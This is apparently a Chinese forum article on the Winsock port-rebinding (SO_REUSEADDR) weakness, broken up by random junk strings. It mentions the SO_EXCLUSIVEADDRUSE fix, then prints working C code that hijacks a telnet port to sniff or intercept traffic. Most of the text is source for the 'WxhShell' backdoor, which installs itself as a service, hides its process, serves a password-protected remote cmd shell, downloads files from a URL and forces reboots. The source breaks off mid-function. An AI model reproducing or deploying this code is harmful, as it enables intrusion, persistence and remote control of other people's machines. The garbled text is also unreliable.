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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QLH6Nmk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #4^D'r>pJ ,Mu"r!MK saddr.sin_family = AF_INET; )dRBI)P KC-@2,c9V saddr.sin_addr.s_addr = htonl(INADDR_ANY); };~I#X 8-Z|$F" bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >td\PW~X <IQ}j^u-F 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e[.JS6 =#?=Lh 这意味着什么?意味着可以进行如下的攻击: E@)9'?q D{]9s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $4>x4* EvDg{M} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dYp} R>+ 6p~8(-nG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .!g 2,'%G\QT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ju/#V}N "l-b(8n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e>_Il']Mb ]nx5E_j2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &jF[f4:7 D{iPsH6};5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G-RE t",b.vki\z #include ]Cc8[ZC #include od]1:8OF #include Y^}c+)t #include A}0u-W DWORD WINAPI ClientThread(LPVOID lpParam); P<R'S int main() PWN$x`h g[ { 7V;wCm#b WORD wVersionRequested; )9V8&, DWORD ret; @D=i|f WSADATA wsaData; Ccy0!re BOOL val; U$6(@&P! SOCKADDR_IN saddr; >Te h ?P SOCKADDR_IN scaddr; W0N*c*k int err; 2[Bw+<YA` SOCKET s; |&0Cuwt SOCKET sc; T2MXwd&l int caddsize; wO*x0$ HANDLE mt; w?A6S-z DWORD tid; p!p:LSk"/b wVersionRequested = MAKEWORD( 2, 2 ); tD3v`Ke err = WSAStartup( wVersionRequested, &wsaData ); [O^mG
9 if ( err != 0 ) { <FU1| printf("error!WSAStartup failed!\n"); =_9grF- return -1; 4*_. m9{ } z%[^-l- saddr.sin_family = AF_INET; 5^GrG|~ jR mo9Bb2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \Qe`>nA S1d{! ` 3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,
Y cF~ saddr.sin_port = htons(23); eRvnN>L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5,K*IH { Q`(.Blgm; printf("error!socket failed!\n"); V=5v7Y3(j return -1; =sh]H$ } ?89_2W val = TRUE; ynG@/S6)K //SO_REUSEADDR选项就是可以实现端口重绑定的 %&S :W%qm? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j<_)Y(x> { ?wbf)fbq printf("error!setsockopt failed!\n"); D=!5l4 return -1; Wx F0LhM
} )W$@phY(I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $|!@$A j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9i/VvW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {&s.* 5 ?M@ff0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DeRC_ [ { -!pg1w06 ret=GetLastError(); 3`DwKv`+ printf("error!bind failed!\n"); ?<eH!MHF return -1; *odwg$ } qb7ur; listen(s,2); E0<$zP}V}F while(1) jL9to6 Hmr { |s*tRag caddsize = sizeof(scaddr); ~ YCZvJ //接受连接请求 w2o5+G= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ub=Bz1._ if(sc!=INVALID_SOCKET) Tn(c%ytN { iP+3) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V75P@jv5J if(mt==NULL) n~G-X
{ A&($X)t printf("Thread Creat Failed!\n"); J+=+0{} break; guWX$C-+1 } _q 1E4z } "o>gX'm* CloseHandle(mt); B>,&{ah/5J } Fd/.\s closesocket(s); wA7^ WSACleanup(); 'AJlkLqm#> return 0; a;[=bp } a<mM
)[U DWORD WINAPI ClientThread(LPVOID lpParam) \XT~5N6 { )0p7d:%mV SOCKET ss = (SOCKET)lpParam; dSw%Qv*y SOCKET sc; qQx5n unsigned char buf[4096]; :x/L.Bz SOCKADDR_IN saddr; *HXx;: long num; x*2I]4 DWORD val; k1Thjt DWORD ret; VqK/GWg //如果是隐藏端口应用的话,可以在此处加一些判断 yUp"%_t0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/DN!" saddr.sin_family = AF_INET; 2C_/T8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Zow C#j saddr.sin_port = htons(23); f<v:Tg.[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J}3 7 9 { bO\E)%zp printf("error!socket failed!\n"); l!YjDm{E return -1; S67>yqha } 3pk `&' val = 100; /5 6sPl
7} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,CA3Q.y>| { ]\Q9j7}37+ ret = GetLastError(); <\C/; return -1; }qn@8} } w*7BiZ{s< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Gg:y? { tX *}l|;( ret = GetLastError(); S,%BhQ[ return -1; =[T_`*s& } NM:\T1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) STY\c5 { :r,o-D printf("error!socket connect failed!\n"); `'
"125T closesocket(sc); ^t#W?rxp& closesocket(ss); !%s&GD8&l return -1; _k2*2db } nFY6K%[ while(1) VQ((c:+! { /WWD;keP5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :Mq-4U.e //如果是嗅探内容的话,可以再此处进行内容分析和记录 q=(.N>% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d0MF\yxh num = recv(ss,buf,4096,0); kz+OUA@~ if(num>0) ;&v~tD7 send(sc,buf,num,0); 7G<v<& else if(num==0) 3'D<'S}[ break; $^;b
1bnO num = recv(sc,buf,4096,0); /,m!SRJ if(num>0) 3A>Bnb send(ss,buf,num,0); <qpDAz4k else if(num==0) ap[{`u break; uw,p\:D& } GN%|'eU closesocket(ss); [h^>Iq
(Z closesocket(sc); DsZBhjCB return 0 ; 4OOH
3O } pk,]yi,ZF Yf=Puy}q 3Sb'){.MT+ ========================================================== .*zWm ]-b`uYb 下边附上一个代码,,WXhSHELL 2IGoAt>V X[{tD# ========================================================== O)E8'Oe"Q c
Oi:bC@ #include "stdafx.h" ?6=u[))M& ,J63?EQ3 #include <stdio.h> vOl<
#include <string.h> 1ehl=WN #include <windows.h> i^zncDMA #include <winsock2.h> sa26u`? #include <winsvc.h> [^4)3cj7} #include <urlmon.h> 9X- w5$< sWc_,[b #pragma comment (lib, "Ws2_32.lib") QFS5PZ #pragma comment (lib, "urlmon.lib") d|RqS`h
] [)E.T,fjMQ #define MAX_USER 100 // 最大客户端连接数 eumpNF%$ #define BUF_SOCK 200 // sock buffer E"l/r4*f@ #define KEY_BUFF 255 // 输入 buffer Xi~%,~
2l#c?]TA #define REBOOT 0 // 重启 vL,:Yn@b #define SHUTDOWN 1 // 关机 &+v!mw > Xbp~cn #define DEF_PORT 5000 // 监听端口 X/l{E4Ex =KctAR; #define REG_LEN 16 // 注册表键长度 5RysN=czA #define SVC_LEN 80 // NT服务名长度 7\?0d! iE;D_m.>`O // 从dll定义API d@ ?++z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v.Y?<=E+<d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {r,MRZaa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !lk
-MN. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [m9Iz!E X5hamkM*m // wxhshell配置信息 >ARZ=x[ struct WSCFG { +KzbaBK int ws_port; // 监听端口 XFiP8aX< char ws_passstr[REG_LEN]; // 口令 &=-ZNWNo int ws_autoins; // 安装标记, 1=yes 0=no ev}ugRxt|k char ws_regname[REG_LEN]; // 注册表键名 P wY~L3, char ws_svcname[REG_LEN]; // 服务名 #!i& char ws_svcdisp[SVC_LEN]; // 服务显示名 +nj
2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 hN3*]s;/6z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X'
,0vK int ws_downexe; // 下载执行标记, 1=yes 0=no knsTy0] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" c :{#H9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4N- T=Ig Tt.#O~2:9 }; Zr%,F[j? <V~B8C!) // default Wxhshell configuration aGR!T{` struct WSCFG wscfg={DEF_PORT, 7`c\~_Df_ "xuhuanlingzhe", ^z%ShmM&LZ 1, "^UJC- "Wxhshell", FZ0wtS2 "Wxhshell", 8`{)1.d5[ "WxhShell Service", 'kC,pN{-> "Wrsky Windows CmdShell Service", m'b9 f6 "Please Input Your Password: ", S1Nwm?z 1, 7%Q?BH7{ " http://www.wrsky.com/wxhshell.exe", R|&Rq(ow" "Wxhshell.exe" Sz_{ #- }; 26&$vgO~: oE
H""Bd // 消息定义模块 UCz\SZ{za char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }^@Q9<P^E char *msg_ws_prompt="\n\r? for help\n\r#>"; iaAj|: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; IOjp'6Yr char *msg_ws_ext="\n\rExit."; iiw\ char *msg_ws_end="\n\rQuit."; y$Rr,]L char *msg_ws_boot="\n\rReboot..."; VPh0{(O^= char *msg_ws_poff="\n\rShutdown..."; /~O>He char *msg_ws_down="\n\rSave to "; j^Vr!y 6VsgZ"Il char *msg_ws_err="\n\rErr!"; x/B1\U
I char *msg_ws_ok="\n\rOK!"; U $2"ZyFii DT Cwf char ExeFile[MAX_PATH]; aJ{-m@/5 int nUser = 0; e}u68|\EC HANDLE handles[MAX_USER]; Hrk]6* int OsIsNt; \|gE=5!Am= z[0+9=<Y SERVICE_STATUS serviceStatus; 0{q>'dv SERVICE_STATUS_HANDLE hServiceStatusHandle; ,dR<O.{0 wOLDHg_ // 函数声明 Tx19\\r int Install(void); XsXO S8 int Uninstall(void); ev'` K=n8 int DownloadFile(char *sURL, SOCKET wsh); VK]cZ%) int Boot(int flag); 5{"v/nXV void HideProc(void); l+vD`aJ 3 int GetOsVer(void); wqnHaWd* int Wxhshell(SOCKET wsl); 6${=N}3Kw void TalkWithClient(void *cs); <l.l6okp int CmdShell(SOCKET sock); I""zg^Rq int StartFromService(void); ms]r1x" int StartWxhshell(LPSTR lpCmdLine); 6/5Xy69:h ^xt @ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X7g@.Oy` VOID WINAPI NTServiceHandler( DWORD fdwControl ); lA/.4"nN 0aRHXc2< // 数据结构和表定义 LJc"T)>$` SERVICE_TABLE_ENTRY DispatchTable[] = AbExJ~JV\g { F4*ssx {wscfg.ws_svcname, NTServiceMain}, \}n\cUy- {NULL, NULL} g!\H^d4 }; P2!+ZJ& Hh1]\4D,4 // 自我安装 F<+!28&h int Install(void) [X%Wg:K { TlEd#XQgf& char svExeFile[MAX_PATH]; j%`%
DQ HKEY key; 4F`&W*x strcpy(svExeFile,ExeFile); _t/~C*=:= BI| TM2oa // 如果是win9x系统,修改注册表设为自启动 z%Eok if(!OsIsNt) { CK"OHjR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tgVMgu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7@1GSO: Yf RegCloseKey(key); ]i:_^z)R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [2P6XoI# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q;xJ/4 Z" RegCloseKey(key); H,3WdSL`K return 0; K0usBA } _m.w5nJ } x>bGxDtu* } q21l{R{Y else { QMhvyzkS PNs*+/-S // 如果是NT以上系统,安装为系统服务 Xmm)z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4~K%,K+Du if (schSCManager!=0) LG+2?+tE" { 0 L$[w SC_HANDLE schService = CreateService KSAE!+ ( ;I/ A8<C schSCManager, i,B<k 0W9 wscfg.ws_svcname, {ew;
/; wscfg.ws_svcdisp, 4o<rj4G> SERVICE_ALL_ACCESS, #I"s{* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [0n[ \&
0 SERVICE_AUTO_START, |kGQ~:k+P SERVICE_ERROR_NORMAL, +WjX@rSq[ svExeFile, *N&~Uq^ NULL, % aqP{mOO NULL, |E9'ii&?B NULL, ^)UX#D3b NULL, 6Vj=SYK NULL 9vauCIfVC ); AGGT]
58| if (schService!=0) !+u
K@z&G { Lb,wn{ CloseServiceHandle(schService); d.0K~M CloseServiceHandle(schSCManager); QnA~,z/.w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =z!^OT6eb strcat(svExeFile,wscfg.ws_svcname); .>a
[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4D}hYk$eP0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); = inp>L RegCloseKey(key); o/6VOX return 0; #\8"d } k2O3{xIjc } #,9s\T CloseServiceHandle(schSCManager); \c}pzBFd } aH?+^f"D } \iP5.3C _CMNmmp`e return 1; ph$vP;} } bO` SBq$ 1Ror1%Q"? // 自我卸载
i }_" int Uninstall(void) neQ~h4U" { [DZ|Ltv HKEY key; s1]m^, G}Ko*:fWS if(!OsIsNt) { f_2(`T# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K3iQ/j~a q RegDeleteValue(key,wscfg.ws_regname); ~1&WR`U RegCloseKey(key); Ew JNpecX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p ,.6sk RegDeleteValue(key,wscfg.ws_regname); aJQzM RegCloseKey(key); suS[P?4 return 0; @T Ha [|(S }
LS$zA>: } wF9L<<&B } O6ph_$nt. else { ~F^tLi!5 M1icj~Jr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PIAE6,* if (schSCManager!=0) ed2r<H$ { !QpOrg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c'>_JlG~ if (schService!=0) x"n++j { #W&o]FAA3y if(DeleteService(schService)!=0) { @^Rl{p CloseServiceHandle(schService); UM/!dt}DnF CloseServiceHandle(schSCManager); {;N2 &S o return 0; 6e8 gFQ"w2 } .DI?-=p|_# CloseServiceHandle(schService); osl\j]U8 } &1Cs' CloseServiceHandle(schSCManager); ,+5:}hR+ } d'"|Qg_' } wX5q=I $A`m8?bY return 1; !S%0#d2 } H,c`=Ii3 SpImd IpD // 从指定url下载文件 9Z2 1|5 int DownloadFile(char *sURL, SOCKET wsh) JA*+F1s { 0'HQ=pP HRESULT hr; ah%Ws#& char seps[]= "/"; XF+4*), char *token; ;:&|DN3; char *file; QWnGolN char myURL[MAX_PATH]; vz~Oi char myFILE[MAX_PATH]; @mJ~?d95v Mg2 e0}{ strcpy(myURL,sURL); z)(W
x"> token=strtok(myURL,seps); )3)7zulnXH while(token!=NULL) L+*:VP6WD { :0,yq?M file=token; 4BSqL!i( token=strtok(NULL,seps); /wax5FS'I, } KZTLIZxI- OLqV#i[K#9 GetCurrentDirectory(MAX_PATH,myFILE); &=x4M]t9L strcat(myFILE, "\\"); ;*$e8y2 strcat(myFILE, file); Jt[,V*:# send(wsh,myFILE,strlen(myFILE),0); Y!8FW| send(wsh,"...",3,0); yIcTc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =7JSJ98 if(hr==S_OK) x.#E3xI return 0; gXlcB~! else x9AFN return 1; #%2 d;V yx|{:Li! } qDG2rFu&[ W7Y@]QMX // 系统电源模块 ggL/7I( int Boot(int flag) + c+i u6+" { ,<* I5: HANDLE hToken; n0!2-Q5U)h TOKEN_PRIVILEGES tkp; f@$W5*j +ZwoA_k{ if(OsIsNt) { A.Wf6o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t,Ka]
/I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^;'8yE/ tkp.PrivilegeCount = 1; &y}7AV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,:e~aG,B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J8!2Tt if(flag==REBOOT) { {x?qz~W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i6KB\W2 return 0; Q3(ulgl] } @,n)1*{P else { ol*,&C:{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D;NL*4zt return 0; F3EAjO)ch } +8C}%6aX } Z[OX{_2]K else { PMpq>$6b7 if(flag==REBOOT) { 0F@ ~[W|2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W} i6{Vh return 0; F_(~b } s*[
I"iE else { .whi0~i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ":8\2Qp return 0; ]c~yMA+]FZ } Uffwzd! } *d3-[HwZCL NJQ)Ttt return 1; D>[Sib/@ } "qNFDr(WM Jz~: // win9x进程隐藏模块 |~e"i<G# void HideProc(void) 4hy-M>!D| { ;_vhKU)%J# 9e=}PL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L?j0t*do if ( hKernel != NULL ) j(Lz& *4 { ?W{+[OXs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *{vH9TO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X2@Ef2EkM FreeLibrary(hKernel); 3fhY+$tq } fwv^dEe aL4^ po return; ce9P-}d } xy7A^7Li *:@KpYWx" // 获取操作系统版本 n82tZpn int GetOsVer(void) a8JAJkFB { ~c35Y9-5 OSVERSIONINFO winfo; JI[8n$pr] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8&G9 ?n`I5 GetVersionEx(&winfo); 9L:wfg}8s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S(Af o` return 1; |E7J5ha else qC> tni% return 0; Vo@7G@7K( } ]JjS$VMauX X|T|iB,vT // 客户端句柄模块 J)>DsQ+Cj int Wxhshell(SOCKET wsl) SjB"#E) { \jwG*a SOCKET wsh; 1H-Y3G>jN struct sockaddr_in client; U
L
$! DWORD myID; Q38+`EhLA ng3ZK while(nUser<MAX_USER) VKDOM0{V { P}}G9^ int nSize=sizeof(client); d\JaYizp wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \{ @m if(wsh==INVALID_SOCKET) return 1; #QoWneZ Eo6N'h >h handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =G:Krc8w@ if(handles[nUser]==0) `/PBZnj closesocket(wsh); O~*i_t*i9{ else miaH,hm nUser++; \Nt
5TG_ } y>y2,x+[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Ts]zO%%Z uaF-3 return 0; ,Q-,#C" } l&ueD&*4& ?>h
~"D# // 关闭 socket ;DuVb2~+ void CloseIt(SOCKET wsh) '#f<wfn { Iw`tbN
L[ closesocket(wsh); .D
4G;=Q nUser--; @KTuG ?. ExitThread(0); <R]m( } {s
mk<NL u2oS Ci // 客户端请求句柄 i wgt\ux. void TalkWithClient(void *cs) e,xL~P{| { z< L2W", `q-+r1u SOCKET wsh=(SOCKET)cs; LeLUt<4~ char pwd[SVC_LEN]; {$z54nvw$ char cmd[KEY_BUFF]; ]eKuR"ob0 char chr[1]; CM_hN>%w[ int i,j; m
!*F5x BYq80Vk%@ while (nUser < MAX_USER) { mKZzSd)p }=/zG!+ if(wscfg.ws_passstr) { @:}c(j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y|6n:<o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .G[/4h :. //ZeroMemory(pwd,KEY_BUFF); nqo{]fn i=0; ='h2z"}\Bn while(i<SVC_LEN) { NfvPE ]S !q2zuxq!R // 设置超时 =x8[%+ fd_set FdRead; 61S;M8tNv struct timeval TimeOut; Y"mFUW4 FD_ZERO(&FdRead); Keh=>K)T FD_SET(wsh,&FdRead); >5-1?vi TimeOut.tv_sec=8; kEDpF26! TimeOut.tv_usec=0; k`:zQd^T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ..}P$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y!=,u 7[1Lh'u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SboHo({5VA pwd =chr[0]; wb$uq/| if(chr[0]==0xd || chr[0]==0xa) { sF
{,n0<8 pwd=0; `9^tuR, break; |{ N{VK } +K1M&( i++; KR>)Ek } Iq+N0G<j Pf[E..HF*d // 如果是非法用户,关闭 socket Ol>q(-ea if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PFJ$Ia| } z%D7x5!,R KoERg&fY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pp@
Owpb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EV?}oh"x H>CbMz1u while(1) { =Wcvb?;* 7_I83$p' ZeroMemory(cmd,KEY_BUFF); l8oaDL\f [Z$H<m{c- // 自动支持客户端 telnet标准 B7 s{yb j=0; WQ9e~D" while(j<KEY_BUFF) { Y*NzY*V\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VE+H! ob
A cmd[j]=chr[0]; e$~[\
w if(chr[0]==0xa || chr[0]==0xd) { wo@ T@Ve~ cmd[j]=0; <F7a!$zQ break; ' h7Faj } QF>T)1&J[7 j++; &*v\t\]
} : "85w#r s)E \ // 下载文件 TDH^x1P if(strstr(cmd,"http://")) { O%EA,5U. send(wsh,msg_ws_down,strlen(msg_ws_down),0); ["3dr@T9Z if(DownloadFile(cmd,wsh)) &&&-P\3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,)9@-|0R else u9!
? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]DVr-f
~ } D>7a0p784 else { "/'3I/} (7R?T} switch(cmd[0]) { y#GHmHeh Cy;UyZ // 帮助 q}LDFsU case '?': { i\sBey ND" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >bW=oTFz break; T-] {gc } ?Lg(,-: // 安装 }Fjbj5w0 case 'i': { zy,SL
|6: if(Install()) fmW{c mr| send(wsh,msg_ws_err,strlen(msg_ws_err),0); RDdnOzx else 3}|[<^$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\M77V break; Y^+x< } U,#~9 // 卸载 2z-Nw <bA case 'r': { w/6X9d if(Uninstall()) {'IO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11oNlgY& else kOydh(yE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _*o<<C\E break; DB|1Sqjsn } ^^b'tP1> // 显示 wxhshell 所在路径 7a"06Et^ case 'p': { PeJ#9hI~rQ char svExeFile[MAX_PATH]; njs: strcpy(svExeFile,"\n\r"); dxX`\{E strcat(svExeFile,ExeFile); ]rv\sD`[ send(wsh,svExeFile,strlen(svExeFile),0); !6(3Y break; qZd*'ki< } `Z;Z^c // 重启 '[#y| case 'b': { -pC'C%Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
|3]/CrR_ if(Boot(REBOOT)) ~Zr}QO}G send(wsh,msg_ws_err,strlen(msg_ws_err),0); O*~,L6# } else { &ksuk9M closesocket(wsh); D;R~!3f./b ExitThread(0); /QQRy_Z1) } /PwiZA3sA break; a}yb~:TC } 16L YVvmW // 关机 O(-p
md, case 'd': { le/j! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ve
d]X! if(Boot(SHUTDOWN)) Q a (Sb send(wsh,msg_ws_err,strlen(msg_ws_err),0); JQ%hh&M\0 else { cACIy yQ closesocket(wsh); KL_/f ExitThread(0); !yd B,S } d0>U-. break; c e;7 } lx|Aw@C3~ // 获取shell R%jOgZG case 's': { [D~] CmdShell(wsh); nCq'=L,m closesocket(wsh); 30sJ"hF9 ExitThread(0); -qP)L;n break; <e UsMo< } MH.+pqIv^ // 退出 6m_mma_,& case 'x': { j-K[]$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H^-Y]{7 CloseIt(wsh); :+"4_f0 break; ;oOTL'Vu } 4t[7lL`Z // 离开 U6&`s%mIa case 'q': { ,iyy2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); tc'iKJ5) closesocket(wsh); :H&Q!\a WSACleanup(); uz!8=,DFw exit(1); ({E,}x break; u !BU^@ P } }k }=e } nYx
/q } @\g}I`_M FsED9+/m // 提示信息 GJ%^hr`P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Q{lyu } }h^
fX } 1K9.3n v[
iJ(C_ return; '7'/+G'~& } a}@b2Wc* <MS>7Fd2 // shell模块句柄 tNY;wl:wp int CmdShell(SOCKET sock) XY'=_5t {
fJ*^4 STARTUPINFO si; O<$w-( ZeroMemory(&si,sizeof(si)); d ~M; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0T`Qoo>u si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4FaO+Eo,8 PROCESS_INFORMATION ProcessInfo; Z|_V ;*
char cmdline[]="cmd"; #f#6u2nF\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3
`_/h' ~ return 0; +^BThrB } 1J!v;Y\\ LLgw1 @-D // 自身启动模式 B!+c74 int StartFromService(void) $]|3^(y`` { gCghWg{S typedef struct ]H/,Q6Q { pb97S^K[ DWORD ExitStatus; UCVYO.
9" DWORD PebBaseAddress; )xcjQkb DWORD AffinityMask; VZqCFE3 DWORD BasePriority; :<aGZ\R5 ULONG UniqueProcessId; !}6'vq ULONG InheritedFromUniqueProcessId; gfggL&t( } PROCESS_BASIC_INFORMATION; w%\
n XJ _#K|g#p5 PROCNTQSIP NtQueryInformationProcess; }n&nuaj 25OQY.>bE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +t,b/K(?] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I%.nPOQ 8 P*"c!Dn HANDLE hProcess; 11l=zv PROCESS_BASIC_INFORMATION pbi; j/TnKO 51ViJdZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
